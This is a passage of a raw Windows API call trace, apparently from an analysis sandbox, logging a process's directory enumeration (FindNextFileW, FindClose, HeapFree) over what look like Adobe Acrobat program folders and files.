[0182.381] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Locale", cAlternateFileName="")) returned 1 [0182.381] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0182.381] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389c5d29, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en_US", cAlternateFileName="")) returned 0 [0182.381] FindClose (in: hFindFile=0x4532280 | out: hFindFile=0x4532280) returned 1 [0182.381] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0182.381] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1fa1b97a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x62050, dwReserved0=0x0, dwReserved1=0x0, cFileName="logsession.dll", cAlternateFileName="LOGSES~1.DLL")) returned 1 [0182.382] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0182.382] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342cca47, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342f2cdf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMP", cAlternateFileName="")) returned 0 [0182.382] FindClose (in: hFindFile=0x4532340 | out: hFindFile=0x4532340) returned 1 [0182.382] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0182.382] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe024c29f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xcb0e63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AcroForm.api", cAlternateFileName="")) returned 1 [0182.383] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0182.383] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Words.pdf", cAlternateFileName="")) returned 1 [0182.383] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0182.383] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38979854, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 0 [0182.383] FindClose (in: hFindFile=0x4532340 | out: hFindFile=0x4532340) returned 1 [0182.383] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0182.383] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfdd3bd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x71bc63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Annots.api", cAlternateFileName="")) returned 1 [0182.384] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0182.384] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1bbd210b, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP", cAlternateFileName="")) returned 0 [0182.384] FindClose (in: hFindFile=0x4532340 | out: hFindFile=0x4532340) returned 1 [0182.384] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0182.384] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfc5641f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x179063, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Multimedia.api", cAlternateFileName="MULTIM~1.API")) returned 1 [0182.384] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0182.384] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe05dfab0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x6edc63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PPKLite.api", cAlternateFileName="")) returned 1 [0182.384] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0182.385] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdfc09f77, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins3d", cAlternateFileName="PLUG_I~1")) returned 1 [0182.391] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0182.391] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfbe3d1f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2437f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="prcr.x3d", cAlternateFileName="")) returned 1 [0182.391] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0182.391] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37adee54, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="pmd.cer", cAlternateFileName="")) returned 1 [0182.396] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0182.396] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19218da3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x19218da3, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIThemes", cAlternateFileName="")) returned 1 [0182.407] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0182.407] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37b050b7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x42a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewerPS.dll", cAlternateFileName="")) returned 1 [0182.490] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0182.490] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1 [0182.491] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0182.491] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 0 [0182.491] FindClose (in: hFindFile=0x4531980 | out: hFindFile=0x4531980) returned 1 [0182.491] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0182.491] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0182.491] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0182.491] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0182.491] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="core", cAlternateFileName="")) returned 1 [0182.493] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0182.493] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1 [0182.493] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0182.493] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 0 [0182.493] FindClose (in: hFindFile=0x4531bc0 | out: hFindFile=0x4531bc0) returned 1 [0182.493] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0182.493] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0182.493] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0182.493] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0182.493] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="files", cAlternateFileName="")) returned 1 [0182.495] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0182.495] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1 [0182.496] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0182.496] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 0 [0182.496] FindClose (in: hFindFile=0x4531d00 | out: hFindFile=0x4531d00) returned 1 [0182.496] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0182.496] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0182.496] FindClose (in: hFindFile=0x4531880 | out: hFindFile=0x4531880) returned 1 [0182.496] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0182.496] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x9ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef-mac.css", cAlternateFileName="MAIN-C~2.CSS")) returned 1 [0182.497] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0182.498] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="images", cAlternateFileName="")) returned 1 [0182.504] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0182.506] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a85, dwReserved0=0x0, dwReserved1=0x0, cFileName="A12_Spinner.gif", cAlternateFileName="A12_SP~4.GIF")) returned 1 [0182.515] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0182.515] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 1 [0182.520] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0182.520] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0182.520] FindClose (in: hFindFile=0x4531bc0 | out: hFindFile=0x4531bc0) returned 1 [0182.520] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0182.520] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0182.521] FindClose (in: hFindFile=0x4531cc0 | out: hFindFile=0x4531cc0) returned 1 [0182.521] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0182.521] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi_contrast", cAlternateFileName="HI_CON~1")) returned 1 [0182.527] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0182.577] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1185, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1 [0182.948] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0182.948] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dark", cAlternateFileName="")) returned 0 [0182.948] FindClose (in: hFindFile=0x4531880 | out: hFindFile=0x4531880) returned 1 [0182.948] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0182.948] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win-scrollbar", cAlternateFileName="WIN-SC~1")) returned 1 [0183.196] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.196] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, 